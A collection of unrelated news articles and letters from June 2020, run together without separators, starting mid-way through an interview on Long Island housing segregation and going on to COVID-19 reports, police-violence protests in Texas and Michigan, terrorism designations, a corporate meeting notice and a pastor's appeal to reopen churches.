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So, basically, FHA policy precluded lending in black neighborhoods and to black individuals. And this was perfectly legal until 1974. Suburban areas on Long Island were segregated by public policy well into the civil rights era, well past when the Fair Housing Act was passed in 1968.

Theres a lot of inertia built into the residential distribution on Long Island. Redlining was finally outlawed in 1977, but there was a lot of inertia, and things change very slowly. The fact that discrimination in mortgage lending and in the rental and sale of housing was outlawed didnt mean the discrimination stopped. It more or less went underground, and became less evident, and could only be discovered by audit studies.

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The most recent one was that big study that Newsday did [in 2019] of discrimination by realtors on Long Island, which found out it was going on even to this very day, at quite high levelsdiscriminating against blacks in particular, but as the Latino population grew, the Puerto Rican population of New York suburbanized, and new migrants from Mexico and Central America arrived, they were also subject to discrimination.

This became a real problem on Long Island because it was a job growth center, but it wasnt providing housing opportunities for the low-wage workers that they needed to get in order to take local service jobs. So Latinos in particular were moving into suburban areas that were zoned for single-family use, and cramming into houses in suburban areas. And thats basically because these suburbs had refused to allow the building of affordable housing, and so they were making do, adapting as best they could.

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Can you talk a little bit more about the idea of inertia? Im curious when youre studying patterns of segregation whether that word has a specific meaning for you. Is it just, the idea that peoples minds take a long time to change?

Well, yes, peoples minds dont change, and their behavior doesnt change unless you make them change. When they could get away with discrimination where it was out of view, they did, and its only when you start enforcing fair housing law that you bring about systemic changes.

Inertia is also built into the housing stock, because once you build the place and you fill it with white people, it takes time for neighborhood turnover to occur and status quo ante to change. Looking across metropolitan areas all over the country, you find that metropolitan areas with newer housing stockthat is, housing that was built after the Fair Housing and Fair Lending actsthe more housing was built after the civil rights era, the lower the levels of segregation.

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Inertia also has a legal foundation, and that is that in the postwar period, suburbs increasingly came to be covered by restrictive density zoning rules that precluded construction of multiunit housing, which is basically the cheapest way to provide housing thats affordable to regular working people. And so that also perpetuates segregation through zoning regulations, which have been shown by research, some of which Ive done, to be a principal cause of both racial and class segregation in the current era. And even after the civil rights era reforms, these laws are in place, and theyre only beginning to be challenged on civil rights grounds.

In New Jersey, the Supreme Court in the 80s decided that under the state constitution, you couldnt write zoning regulations to preclude the construction of affordable housing. So New Jerseys kind of been leading the way and pushing forward to make affordable housing more widely available in metropolitan areas, including white and more affluent suburbs, but its been a tough sale to people in New York, and especially on Long Island.

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Watching the viral coverage of protests and counterprotests in Merrick this week, I was interested to see how clearly it seemed the counterprotestors were willing to articulate exactly what they understood to be the geography of segregation around them. In the videos, you can hear them saying, Go west!

Yes. This is not a new story. When Martin Luther King first took the movement out of the South into the North, he went to Chicago and marched in a Chicago suburb, and faced all kinds of epithets, bottle-throwing, and things.  He said it was worse than anything he faced in the South. And with Trump, with the president saying openly racially discriminatory things, its uncorked things people werent going to say in public. Explicitly saying, Go back to the neighborhood where you belong.

Then again, I did a study using the 2010 census that looked at metropolitan areas, rather than suburbs, that linked ongoing racial prejudice to high levels of segregation. So this isnt something unique to the Trump era. Its been around for quite a while.
Visitors wearing face masks walk at the Dongdaemun Design Plaza in Seoul, Wednesday, June 3, 2020. AP



Lee Tae-in, who completed an engineering degree from a university in February, recently decided to give up searching for a job in the first half of this year in South Korea's worst economy in more than two decades.



So far, he has applied for several midsized machinery manufacturers but failed.



"Job openings have stopped due to the coronavirus pandemic. Now, I'm afraid I can't find a job this year," sighed Lee, 26.



The situation in job markets is even less promising in the second quarter of this year, with many economists predicting the pandemic will deal a heavy blow to employment.



The economy shrank 1.4 percent on-quarter in the first quarter of the year, marking the sharpest quarterly contraction since the last three months of 2008.



In April, South Korea suffered its biggest monthly job losses in 21 years as the coronavirus outbreak and containment measures hammered the economy.



The number of employed people in South Korea stood at 26.56 million in April, 476,000 people fewer than a year ago, marking the biggest on-year decline since February 1999.



The labor force participation rate, which refers to the percentage of those who are aged 15 or older and remain in the labor force by either being employed or actively looking for jobs, also fell 1.6 percentage points to 62 percent in April, according to the data compiled by Statistics Korea.



It also marked the sharpest decline since 2000, when the nation's job markets were crippled in the wake of the Asian financial crisis.



The nation's jobless rate fell by 0.2 percentage point on-year to 4.2 percent in April.



Although South Korea's job market is not as severe as in the United States, where a jobless rate stood at some 15 percent, weaker social safety nets make it harder for unemployed people to brace for the first pandemic in the era of globalization.



Economists said the worst has yet to come in the labor market.






Islamabad, June 5 (IANS) Pakistan has decided to take strict administrative actions for the implementation and enforcement of the standard operating procedure (SOPs) formed by the government to contain the spread of COVID-19 amid a surge in new virus cases across the country, officials said.

The National Command and Operation Center (NCOC) of Pakistan, a high level body to monitor the situation arising out of COVID-19, reviewed ways to implement the track, trace and quarantine strategy, reports Xinhua news agency.

Officials from different parts of the country informed the NCOC that strict administrative action has been initiated against the violators of the SOPs and social distancing in public places and high risk areas of markets, public transport and industrial sectors, a statement said on Thursday.

The NCOC meeting presided over by Minister for Planning Asad Umar discussed the implementation of the SOPs, safety and quarantine guidelines to avoid spread of the coronavirus with the provincial chief secretaries.

Speaking on the occasion, Umar said the heart of the strategy to contain the risk of the contagion is to ensure "the SOPs compliance and enforcement of quarantine measures".

He added that all measures should be implemented swiftly to make the strategy a success in overcoming the risk of the COVID-19 spread.

Officials informed the meeting that strict SOPs and social distancing would be ensured whereas on violation the entire market, business centre and plaza would be sealed.

They said that fines were imposed on the transport sector for violating SOPs while a fine would also be imposed on not wearing face masks at public places and high risk areas.

The COVID-19 death toll has risen to 1,770 with 85,264 confirmed cases in Pakistan.

--IANS

ksk/
Twenty-year-old Austin, Texas, college student Justin Howell was hospitalized on Sunday with life threatening injuries after being shot in the head by police with a beanbag round while participating in a demonstration against police violence. Howell, who is a political science major at Texas State University, was peacefully protesting when officers opened fire upon him at close range. When fellow protesters along with volunteer paramedics attempted to bring the young man to police for medical attention they were fired upon as well.

Volunteer paramedic Maredith Michael vividly described the incident in a Facebook post: I had my hands in the air, I begged for them to help, they said bring him over here. I told them that his head injury was too severe, he was convulsing and unable to move, that I needed their help. Youre going to need to bring him here.

Several guys started to carry him, I was clearing the path, with my hands up (crossed wrists, our signal that I was volunteering for the medical tent across the street).

Justin Howell

They started firing into the crowd, and shot my hands, from no more than three feet away. I dont remember falling to the ground, injuring my shoulder, hip, and neck. I woke up to what seemed like the relentless sound of these less lethal bean bags and my own screaming.

Austin police claim that another protester near Howell had thrown his backpack and water bottle at them, and that he was their intended target. They described the beanbag rounds, fired from a twelve-gauge shotgun, as less lethal munitions.

Howell suffered a fractured skull and brain damage. Howells older brother Joshua, who is the opinion editor for the Texas A&M school newspaper the Battalion, wrote in an op-ed for the paper that doctors told him his brother will have a hard time telling left from right when he wakes up.

Howell was just one of several protesters injured by Austin police in Sunday nights protest. Also critically wounded was 16-year-old Brad Ayala, who had just finished his shift at a nearby sandwich shop and joined the protest when he too was shot in the head by a beanbag round. His sister Valerie Ayala told the Austin Statesman that Hes conscious and in a lot of pain because he was shot right in the middle of his forehead. The bullet stayed inside of his head for five hours. The front of his head is fractured and dented, and he had some bleeding.

Other protesters were also injured by the beanbag rounds, including a pregnant woman, according to a statement given by Austin Police Chief Brian Manley.

In a press conference held on Monday, Manley offered the usual thoughts and prayers to the families of the injured protesters, pledged to investigate the incident and claimed that This is not what we do as a police department.

A viewing of the 45-second recording of what followed Howells shooting refutes the police chiefs claim. As five of Howells fellow protesters carry his limp body to police lines to seek medical care, they are clearly unarmed, and fully visible to the officers that fired upon them at close range. It is clear that the police in Austin made a deliberate decision to use wanton violence on unarmed protesters, in order to terrorize the crowds into submission and deter further opposition to police brutality.

This strategy of mass terror is standard operating procedure for all police departments. Arbitrary arrests and indiscriminate violence are the tools used by police against the working class not just in times of social upheaval, but as an everyday policy to maintain control over the population and prevent opposition to capitalist exploitation from emerging on a large scale.

The Austin police themselves have a notable history of violence. In 2016 officers shot and killed David Joseph, a black teenager suffering from mental illness, even though he was naked and unarmed. More recently, in April of this year, Austin police killed 42-year-old Mike Ramos after first shooting the unarmed man with a beanbag round in the face and then following up with live rounds as Ramos fled in his car.

The Democratic Party-controlled Austin city council has declared an emergency meeting for Friday to discuss the violence at last weekends protests, and to discuss ways to bring accountability and transparency to policing. This will solve nothing. Like past efforts by city officials across the United States, including mandating body cameras, implementing joint police/citizen oversight boards and hiring more minority officers, whatever changes that may emerge from the city councils discussions will only function as political cover for the police as they continue to brutalize the population.
French forces have killed the leader of Al-Qaeda in the Islamic Maghreb (AQIM), Algerian Abdelmalek Droukdel, in Mali, French Defence Minister Florence Parly said on Friday. Droukdel was killed on Thursday in the northwest Mali town of Tessalit. "Many of his close associates" were also "neutralised", said Parly. "Abdelmalek Droukdel, member of Al-Qaeda's ruling committee, commanded the whole of the jihadist groups in North Africa and the Sahara" including Jamaat Nusrat al-Islam wal-Muslimin (JNIM) -- an umbrella group of Al-Qaeda affiliates, Parly said. AQIM stems from a group started in the late 1990s by radical Algerian Islamists, who in 2007 formally subscribed to Al-Qaeda's ideology. The group, formerly known as the Salafist Group for Preaching and Combat, has bases in northern Mali from where it regularly carries out attacks and abductions of westerners in the sub-Saharan Sahel zone. France also claimed on Friday to have captured a leader of the Islamic State in the Greater Sahara (EIGS) group, which carries out frequent attacks over Niger's western borders. Operations against EIGS "the other great terrorist threat in the region" are continuing, said Parly. France has over 5,000 troops deployed in its anti-jihadist Barkhane force in the Sahel region. Mali is struggling to contain an Islamist insurgency that erupted in 2012 and which has claimed thousands of military and civilian lives since. Despite the presence of thousands of French and UN troops, the conflict has engulfed the centre of the country and spread to neighbouring Burkina Faso and Niger. Algerian Abdelmalek Droukdel - killed in the northwest Mali town of Tessalit - was the leader of Al-Qaeda in the Islamic Maghreb (AQIM)
A new UN report that refers to the presence of thousands of Pakistani terrorists in Afghanistan is a reiteration of Prime Minister Imran Khans acknowledgement last year that his country hosts up to 40,000 terrorists, people familiar with developments said on Friday.

Reacting to the Pakistan Foreign Offices contention that the external affairs ministry was using the UN report to slander Pakistan, the people, who spoke on condition of anonymity, said the UN Security Councils analytical support and sanctions monitoring team had only reiterated what Khan has already confessed.

As first reported by HT, the UN report, issued last month, said there are some 6,500 Pakistani nationals among foreign terrorists operating in Afghanistan, and the Jaish-e-Mohammed (JeM) and Lashkar-e-Taiba (LeT) play a key role in bringing foreign fighters into the war-torn country.

Pakistans Foreign Office would do well to recall that their prime minister admitted last year that Pakistan still hosts 30,000 to 40,000 terrorists. Pakistans leadership is also on record acknowledging that in the past, terrorists had used the countrys soil to carry out terror attacks on other countries, said one of the people cited above.

Speaking at the US Institute of Peace in Washington last July, Khan had said Pakistan still has about 30,000 to 40,000 armed people who have been trained and fought in some part of Afghanistan or Kashmir.

The UN Security Councils analytical support and sanctions monitoring teams report has only reiterated what the prime minister of Pakistan has already confessed. Instead of casting aspersions on the report, Pakistan should introspect and put an end to any kind of support for terrorism emanating from territories under its control, the person said.

The person added that the UN and the world community are acquainted with the reality that Pakistan is the nerve centre of terrorism.

Pakistan houses one of the largest numbers of UN-designated terrorists and terrorist entities, and its fallacious attempts to point fingers at others cannot deflect attention from the facts on the ground, the person said.

Moreover, Pakistans attempts to create a divide in the traditional and friendly relations between the people of India and Afghanistan will not succeed. The people of Afghanistan and the international community are well aware of who the spoiler is, and who is sheltering, training, arming and financing terrorists and sponsoring violence against innocent Afghans and members of the international community, the person said.

In a statement issued on Thursday, Pakistans Foreign Office had contended the external affairs ministry had misrepresented the UN report to slander Pakistan. Pakistan categorically rejects Indias malicious allegations, which are aimed at misleading the international community, it said.

The statement said there was no reference to safe havens in Pakistan in the report, which it claimed was based on briefings provided in Afghanistan to the [UN team] by certain quarters who have long expressed scepticism about the Afghan peace process.

The Foreign Office also contended India was trying to create complications for the Afghan peace process, and that Pakistan had highlighted what it was said was Indias sponsorship of terrorist organisations in Afghanistan.

External affairs ministry spokesperson Anurag Srivastava had reacted to the UN report by expressing Indias serious concern at the continued presence in Afghanistan of the senior leadership of al-Qaeda and a large number of foreign terrorists, including 6,500 Pakistan nationals. The report, he said, vindicates Indias long-standing position that Pakistan remains the epicentre of international terrorism.
After several days of unrest across the country following the death of George Floyd in Minneapolis, a group of protesters gathered in Dearborn on Tuesday to decry police brutality and racism.

While some of the recent protests across the nation have turned into clashes with police and destruction of property, the Dearborn event was peaceful from start to finish.

A racially diverse crowd gathered in the parking lot outside of the Dearborn police station at 5 p.m. and heard from several speakers. At about 6:30 p.m., the group marched down Michigan Avenue, east to Schaefer Road, and then back to the police station.

According to Dearborn city officials, an estimated 150 people showed up for Tuesdays event.

Speakers included Dearborn Police Chief Ronald Haddad; Dearborn City Councilwoman Leslie Herrick; Dearborn residents Mariam Amin, Chianta Jenkins, DeSean Whipple and Quinn Whitaker; and the Rev. Colleen Neiman of St. Paul Lutheran Church in Dearborn.

Dearborn residents Sarah LeFranc, 20, and Elena Calderon, 20, organized the event. Farmington Hills resident Nakia Middleton worked to organize the march.

With a simple Google search, we found the police station was meaningful, the land was public and the city is permit free, LeFranc said. We saw physicians, we heard from attorneys and mothers and media and I am so honored to have heard everyones voices amplified to the leaders of our city that decided enough is enough.

The death of Floyd sparked outrage nationwide after video surfaced of his May 25 arrest. White officer Derek Chauvin is seen holding the 46-year-old African American man down by putting a knee on the back of his neck.

People took to the streets in Minneapolis to protest, which quickly spread across the nation, including Detroit and Grand Rapids.

In a show of solidarity with protesters on Tuesday, some members of the Dearborn Police Department kneeled together with members of the group and Haddad kneeled after speaking to the assembled crowd. In addition, some officers walked with the group on Michigan Avenue and several police cruisers escorted the group down the road in both directions.

Haddad immediately denounced the actions of Chauvin and the Minneapolis officers when he spoke on Tuesday and he discussed how his department handles incidents where there was a use of force.

What happened in Minneapolis to George Floyd was a travesty, he said. It was a human tragedy and its something thats totally, totally unacceptable to law enforcement.

Every use of force is examined by everyone in our department, up to me, within 24 hours, and there is no chief or no department in the country that can tell you that.

Although Tuesdays event in Dearborn was peaceful, many of the protesters didnt hold back when sharing their anger with law enforcement in general, including some profanity-filled chants.

They also chanted the names of other people killed by police officers, including Kevin Matthews and Janet Wilson, who were both fatally shot by Dearborn officers, in separate incidents, more than four years ago. Wayne County Prosecutor Kym Worthy determined the officers acted in self-defense in both cases.

Many of the protesters also brought homemade signs, with some reading: Justice 4 All, Police brutality stops now, Train your cops, and 8:46. The latter is a reference to the 8 minutes and 46 seconds Floyd was pinned to the ground by Chauvin.

As of Friday, Chauvin had been charged with second-degree murder, which was increased from three-degree murder, and the other three officers involved had been charged with aiding and abetting second-degree murder.

Nearby, a protest was held two days later in the Downriver area. A large group peacefully marched down Southfield Road between Lincoln Park and Allen Park.
Paris, June 5, 2020

Amid the ongoing COVID-19 epidemic and in line with government measures to slow the spread of the virus, the Company's General Meeting will be held on June 26, 2020 behind closed doors. This means that shareholders and other persons entitled to attend will not be present, whether in person or via conference call or videoconference.

Given that shareholders will not be able to attend the meeting or be physically represented, the Company has invited shareholders to vote by post or grant proxy to the Chairman, using the corresponding form which may be downloaded from the Company website (https://agrogeneration.com/fr/agmegm/2020).

The Company would like to remind shareholders that the meeting notice published in the BALO legal notices gazette on May 22, 2020 (no. 62) sets out the agenda, the draft resolutions and the main arrangements for participation and voting at this meeting. The meeting invitation and all useful information concerning this General Meeting may be found on the Company website: https://agrogeneration.com/fr/agmegm/2020.

About AGROGENERATION

Founded in 2007, AgroGeneration is a large-scale producer of grain and oilseed. Following its merger with Harmelia, AgroGeneration today is ranked amongst some of the largest agricultural firms in Ukraine. The company's core business is grains and oil commodity crop farming, operating near 60,000 hectares of high quality agricultural lands in the East of Ukraine.

All information on AgroGeneration's website: www.AgroGeneration.com

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AgroGeneration

+33 (0)1 56 43 68 60

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+33 (0)1 53 67 36 90

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6:15 p.m. | Marchers arrived back at San Antonio Public Safety Headquarters where they changed tune briefly to sing happy birthday to one of their own. The protest has remained peaceful throughout.

5:20 p.m. | At the courthouse, a series of people gave emotional speeches about their experiences as people of color in America.

One man, Ryan Barrientos, 28, described an encounter he had with police in Savannah, Georgia.

Even when you think youre doing everything right, your skin color, they see it as a weapon, said Barrientos, who teaches history at a Northside ISD middle school.

Im sick of coaching my babies on how to die! a woman in the crowd shouted.

They will drag you out of your car, Barrientos continued. I got pulled out of my car, just because I have a beard, just because I have a tattoo. I was in the military. I was protecting and serving in the infantry!

Another man who said he was a Marine Corps veteran said he didnt sign up to serve in the military to see Americans mistreated.

I lost friends. I lost family over there, he said. Now Im coming back and Im seeing cops stomp on Americans. This isnt right. It needs to change.

4:45 p.m. | As the more than 100 people arrived at the Bexar County Courthouse, Juanita Pelaez-Prada, a 40-year-old attorney, said she is one of the people who want to include the next generation the wave of conversations occurring across the nation about race and equality. Her 7-year-old son, Santiago, accompanied her to the protest.

He needs to understand everything that is going on right now, she said, also saying she wants to teach him about the Black Lives Matter movement. "We need to stop this violence. We can't have another generation of kids being killed.

4:35 p.m. | San Antonio police said rumors of an active shooter situation at Travis Park began circulating Twitter Friday afternoon. Police say there is no active shooting.

4:20 p.m. | The protesters have begun their march to Bexar County Courthouse, chanting "Black Lives Matter," And "Hands up. Don't Shoot."

4:10 p.m. | Pharaoh Clark, one of the organizers of the recent protests, said talks with Mayor Ron Nirenberg have been ongoing.

I really believe he wants to make a change and wants to know how we feel, Clark said. He (Nirenberg) said he wants to be held accountable and I promise that I will do that.

Antonio Lee, another protest organizer, said those involved with the downtown protests have received word that other groups with different intentions then those gathered at SAPD headquarters are planning a protest at the Pearl. Lee did not elaborate on what he meant by different intentions.

Young Ambitious Activists is the organization Lee is involved with and one of the groups that has been managing the peaceful protests downtown.

4 p.m. p.m. | District 8 Councilman Manny Pelaez addressed the crowd shortly before the march.

The murder of black Americans is a pandemic. More dangerous than a coronavirus, he said. Wouldnt it be nice to have a little bit of liberty? Little bit of justice, little bit of peace?

He asked if they, too, grew angry when people immediately tried to add qualifiers to the statement, Black Lives Matter. Those people, he said, were part of the problem.

Pelaez also said people more angry with the looting and vandalism of buildings and businesses downtown during previous protests were part of the problem.

If youre the kind of person that got more angry at a few windows getting broken than a man being murdered on TV in front of millions of Americans, youre part of the problem.

His words were met with applause from the crowd.

3:40 p.m. | Demonstrators defused would could have been a tense moment early on when an older white men walked up and asked, Hey, are you guys going to burn up the city or what?

Over a loud speaker, organizer Katelyn Menard said she was glad he asked the question and said their movement was not about violence. The man said the members of the group needed to educate themselves before repeatedly saying, All lives matter.

The other protesters started trying to drown him out with a chant of Black Lives Matter, but Menard stopped them.

I need yall to stay calm, she said to them, before turning back to the man, who then said Rosa Parks was one of his heroes.

All lives matter. Were not discarding all lives, Menard said. However, black lives have been shunned in this country for a long time. And yet when we say anything that refers to the black race, people get so defensive about it. Were just proud to be black, and we want to celebrate that.

The man tried to keep debating, but he walked off when Menard stopped engaging and began moving on to a moment of silence for Breonna Taylor, a black woman who was shot to death by police while sleeping in her home. Friday would have been Taylor's 27th birthday.

3:00 p.m. | Groups are starting to gather at San Antonio Public Safety HQ at 315 S. Santa Rosa for todays Black Lives Matter protest, which should be starting in a few moments. Saturday marks the seventh day of protests in San Antonio.

Anthony Sanchez, an organizer of the protest, urged the crowd before the march begins to remain peaceful and to not cause any violence during the protest.

During Fridays protest, Mayor Ron Nirenberg came out and spoke to the protesters, telling them to hold him accountable.

Lexi Qaiyyim, 24, an organizer of the protest, said she hopes the mayor puts some action behind his words.

Those words that he said, they are not just words to us, she said before the march started. We need their to be action behind his words.

She added todays protest is a reminder to the mayor and to local government officials that they want change.
Supreme Court of Russia declares Hayat Tahrir al-Sham terrorist organization

 RAPSI, Vladimir Burnov

15:38 05/06/2020

MOSCOW, June 5 (RAPSI)  The Russian Supreme Court has declared Hayat Tahrir al-Sham representing a coalition of Islamists factions fighting in Syria a terrorist organization upon an application of the Prosecutor Generals Office.

According to a statement of the Prosecutor Generals Office, the organizations operation and propagating activities pose a serious threat to Russias national interests, life and health of the countrys citizens.

Hayat Tahrir al-Sham is a coalition of Islamists factions founded in January 2017 as a response to the established cease-fire in Syria. Currently, it includes up to 20,000 militants controlling the most part of Idlib, a city in northwestern Syria.




The Supreme Court on Friday asked private hospitals if they are ready to treat coronavirus patients at prices under the Ayushman Bharat scheme being run by the government. A bench headed by Chief Justice S A Bobde said that the apex court is asking only those private hospitals to treat certain number of coronavirus infected patients for free which have received land at concessional rates from the government, news agency PTI reported.

"I just want to know if hospitals are ready to charge at Ayushman rates?" the CJI said during the hearing conducted through video conferencing.

The top court was hearing a petition saying that the tariff under the Ayushman Bharat scheme should also be applicable to private hospitals. The tariff under the scheme should be made applicable to everybody, the petition asked.

Solicitor General Tushar Mehta, appearing for the Centre, told the bench that the government is doing its best for the lowest strata of the society. People who cannot afford treatment are covered under the Ayushman Bharat scheme, he added.

Ayushman Bharat Pradhan Mantri Jan Arogya Yojana is a part of the government's National Health Policy which aims to provide free health coverage at the secondary and tertiary levels to bottom 40 per cent of poor and vulnerable population.

Meanwhile, India today recorded 9,851 cases and 273 deaths in a single day, taking the total number of coronavirus infections to 227,029, and 6,363 deaths.

Also read: Coronavirus crisis: Cash-strapped Finance Ministry says no new schemes till March 2021

Also read: Biocon's founder Kiran Mazumdar-Shaw named 'Entrepreneur Of The Year'
The mass economic re-openings in the Americas, Europe and Asia that began in May have paved the way for a massive spread of the coronavirus pandemic internationally. According to data aggregated by Worldometer, the average number of new cases has been more than 115,000 since May 27, a number which has been steadily rising since May 12.

The accelerating spread is also reflected in the number of new deaths each day. Starting in April, the number of new deaths had begun to decrease, a result of the physical distancing taken up by hundreds of millions of workers, toilers and youth around the world. The rate of new deaths, however, has now stabilized at an average of 3,770, as those people have been steadily forced back to work, and it is poised to climb in the wake of the hundreds of thousands of new infections.

As of this writing, there have been nearly 6.7 million officially confirmed cases and more than 390,000 deaths caused by COVID-19 worldwide. A plurality of cases are in the US and Brazil, which have totals of 1.9 million and 610,000 cases, respectively, along with 110,000 and 33,000 deaths.

Health workers from Doctors Without Borders visit a squatters camp to conduct medical examinations and avoid the spread of the COVID-19 in Sao Bernardo do Campo, greater Sao Paulo area, Brazil, Wednesday, June 3, 2020. (AP Photo/Andre Penner)

The governments of both countries have also whipped workers back into factories and plants under threat of economic destitution if they dont return. In Brazil, meatpacking plants were opened on May 20, while auto production started resuming the previous week. Hundreds of workers in these facilities have already become infected, spreading it to their homes and their communities. Despite this, President Jair Bolsonaro is storming ahead with the full reopening of the country, overseen by local mayors and regional governors.

Factories in the United States began opening even earlier. Some states, including Oklahoma, North Dakota and Nebraska, never had stay-at-home orders, while states such as Georgia began reopening the last week of April. Certain industries, such as auto, waited until the second or third week in May to fully resume manufacturing their products, but these were only shut down in the first place as a result of wildcat strikes that erupted in mid-March, after reports emerged of infections spreading in the auto plants.

The spread is in every state. While states such as New York, New Jersey, New Mexico and Connecticut report a 14-day decrease in the number of new daily cases, nearly half of states have an increase in new cases, particularly in areas where the pandemic did not initially widely infect the population. Florida, for example, yesterday saw its highest new case count yet, bringing its total of cases above 60,000. The states death toll stands at more than 2,600.

Mexico has also emerged as a new hotspot for outbreaks of the pandemic. It is now on par with the United States and Brazil for the number of new deaths each day, and is the fourteenth country to exceed 100,000 cases and the seventh to breach 10,000 deaths. Hundreds of these were caused by the premature reopening of the countrys maquiladora sweatshops, which are used by US auto and other manufacturing companies to produce cheap parts.

Similarly in India, large sections of industry were ordered to resume production in mid-May, particularly parts and car companies. Even then, the number of cases in the country was still increasing, largely a result of the haphazard lockdown implemented by the Modi government in April that trapped millions of migrant workers in the already crowded and unsanitary slums of Mumbai, Delhi, Bangalore, Hyderabad and other cities. The Modi governments actions have caused Indias official case and death counts to soar. They currently stand at 226,000 and 6,309, respectively, and are increasing exponentially.

The outbreaks in these countries and many others underscore the warnings that have been repeatedly issued by the World Health Organization (WHO) against reopening without having a system of mass testing, contact tracing and isolation in place to fight the coronavirus. Hans Kluge, the European director for the WHO, recently noted, The second wave is not inevitable. But an increasing number of nations are lifting restrictions, and there is a definite threat of a repeat outbreak of the COVID-19 infection. If those outbreaks are not isolated, a second wave may come and it may be very destructive.

Even this statement is behind the times. The first wave of the pandemic, in global terms, never actually abated and is now cutting a bloody swathe through some of the poorest regions of the world. South Asia, as well as Africa, have been devastated not only by the coronavirus, but also by powerful typhoons and massive locust swarms.

Kluge also noted, We still have neither a vaccine nor a cure for COVID-19. Similar statements were issued on Wednesday by Anthony Fauci, the director the National Institute for Allergy and Infectious Diseases in the US. He warned that, while it is possible that there will be a vaccine available sometime next year, there is no evidence that any immunity will last.

When you look at the history of coronaviruses, the common coronaviruses that cause the common cold, the reports in the literature are that the durability of immunity thats protective ranges from three to six months to almost always less than a year, Fauci said during an interview with Journal of the American Medical Association (JAMA) Editor Howard Bauchner. Thats not a lot of durability and protection.

The re-openings are also occurring alongside the mass protests in the US and internationally against the police murder of George Floyd and the dictatorial actions taken by President Donald Trump. While many protesters are wearing masks in an attempt to protect themselves from the disease, the large crowds, chanting and holding hands are ideal for the contagion to rapidly spread. George Floyd himself was infected when he was killed, his autopsy showed.

The protests are also becoming an excuse for areas to close testing sites in California, Florida, Illinois, Pennsylvania and elsewhere. Testing for the disease is a crucial step in containing outbreaks and is the only way to objectively know how far the pandemic has spread.

Less testing also artificially deflates the case counts, which can in turn be utilized to justify further reopenings. In a story virtually ignored by the national media, the worker who developed Floridas coronavirus database was fired last month for refusing to manipulate the data in order make it seem as though the state had reached the threshold to safely reopen. As testing becomes less common, it becomes easier for false data to be presented as legitimate.
Punjab on Friday reported two deaths and 52 new coronavirus cases, taking the states case tally to 2,558.

Amritsar topped the chart with 20 fresh cases followed by Ludhiana nine, Jalandhar eight, Patiala four, Gurdaspur three, Kapurthala and Tarn Taran two each, and one each in Bathinda, Faridkot and Moga and Muktsar.

FIRST COVID DEATH IN TARN TARAN

A 45-year-old Patti resident succumbed to the virus at a private hospital in Amritsar on Thursday night. Tarn Taran civil surgeon Dr Anoop Kumar said the patient was suffering from chronic diseases such as asthma and liver infection. His report came on Friday morning.

A 48-year old resident of the Bholepur area of Pathankot district died of coronavirus at Government Medical College and Hospital, Amritsar, on Friday. His swab samples were taken for testing after his death.

One more person, a resident of Khadoor Sahib, who had returned from Dubai on May 27, also tested positive.

20 CASES IN AMRITSAR

The district on Friday reported 20 fresh cases of which 10 are fresh community spread cases. With this, the district has so far reported 440 cases of which 327 have recovered and eight have died.

The wife and son of an infected persons tested positive for the virus in Gurdaspur. Besides, a man from Batala also contracted the infection. His samples were taken during random sampling.

9 MORE CASES IN LUDHIANA

Nine more people, including a pregnant woman and a 12- year- old boy, tested positive of coronavirus in Ludhiana. The 26-year-old pregnant woman hails from Kuldeep Nagar, Rahon Road. The district now has 235 Covid-19 cases, of which 160 patients have been discharged.

A 10-year-old girl tested Covid-19 positive in Bathinda on Friday. She had come in contact with a coronavirus patient in her neighbourhood in Rampura town. One case was also reported from Muktsar.

A 24-year-old pregnant woman tested positive for the Covid-19 in Faridkot district on Friday. The district now has five active cases.

A 27-year-old man, who returned to Moga from Kuwait last month and was in a quarantine facility, tested positive for the coronavirus disease on Friday. The person belongs to Rajiana village in Baghapurana.

A 59-year-old man from Sheikupur and 68-year-old woman from Begowal in Kapurthala district also tested positive.

Eight persons tested positive of the novel coronavirus in Jalandhar on Friday. Eight patients, including four woman, are in the age group of 27-55, said officials.

Four people contracted the virus at Amloh sub-division of Fatehgarh Sahib district on Friday. They have been admitted to Gian Sagar hospital in Banur.

(Inputs from Bathinda, Kapurthala, Jalandhar, Patiala and Faridkot)
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Dear Madame Mayor Bowser:

Thank you for your tremendous effort and carefulness in directing the District of Columbia safely through these treacherous and terrifying times. Our congregation has prayed daily for you to be granted wisdom as you make difficult decisions that will affect our lives for years to come.

Over the Memorial Day weekend, we paused to remember and honor all who have given their lives to grant us the liberties we have richly enjoyed  and often taken for granted.

One such liberty is the freedom to assemble for worship. It is a vital part of our national success and one I have revered my entire life.

The very word "church" is ekklesia in Greek and it means "an assembly of Christians gathered for worship in a religious meeting." Until the advent of COVID-19, I could count on one hand the times I have missed assembling with other believers on Sunday.

Yet, out of abundance of caution and respect for our leaders, our congregation has followed every guideline you have suggested. Our church services have gone entirely to live-streaming and Zoom meetings of less than ten people.

However, I feel I would be utterly thankless if I did not take this time of celebrating our blood-bought liberties to remind you and others that Church is an essential part of our existence. In fact, assembling for worship is specifically protected by our Constitution. Particularly, the First Amendment grants churches essential status with no exceptions.

Our church's goal is to safely and selflessly love and serve our community. We can follow the same guidelines of grocery stores, home improvement stores, bicycle shops, and other essential businesses while fulfilling the higher mandate of our Lord to "not forsake the assembling of ourselves together. (Hebrews 10:25)

One may ask, "Can you not fulfill this command virtually?"

Perhaps a call I received at two o'clock in the morning last week would answer this best. "Pastor Brad, I'm doing terrible. I need help."

People are hurting, frustrated, and even suicidal when left alone for too many weeks. Physical proximity provides a connection that no internet server can imitate.

The Apostle Paul explains the need for physical gathering in a letter to new believers, "Night and day praying exceedingly that we might see your face, and might perfect that which is lacking in your faith."

Any faithful church member can attest to the deeper spiritual work of actual assemblies. Call it synergy, connection, experience, interaction...God calls it church.

I would, therefore, humbly request that you reconsider allowing churches to resume worship, in the truest sense of the word, providing they follow all protective measures and requirements of other essential businesses.

The measures we would enforce are as follows:

Elderly and at-risk persons would be encouraged to continue to attend virtually.

All facilities must be cleaned and sanitized at the highest possible standards before and after each service.

Apart from immediate family members, attendees must be seated 6 feet apart.

Face coverings would be encouraged unless meeting outdoors.

All extra curricular small group activities would be suspended until social-distancing mandate is lifted.

No hand-shaking, passing of offering plates, communion, or other personal contact would be allowed.

Sufficient hand sanitizer and disinfected hygiene stations available throughout facilities.

Thank you for your consideration of this request. My congregation will continue to pray for you as you maneuver this unprecedented time in our nation's history.

By grace alone,

Pastor Brad Wells
ROME - Vatican police on Friday arrested an Italian businessman involved in a controversial London real estate deal on suspicion of extortion, fraud and money laundering, the Holy See said.

Gianluigi Torzi was being held in the Vatican gendarmes police barracks after he was questioned by its chief prosecutors, the Vatican press office said in a statement.

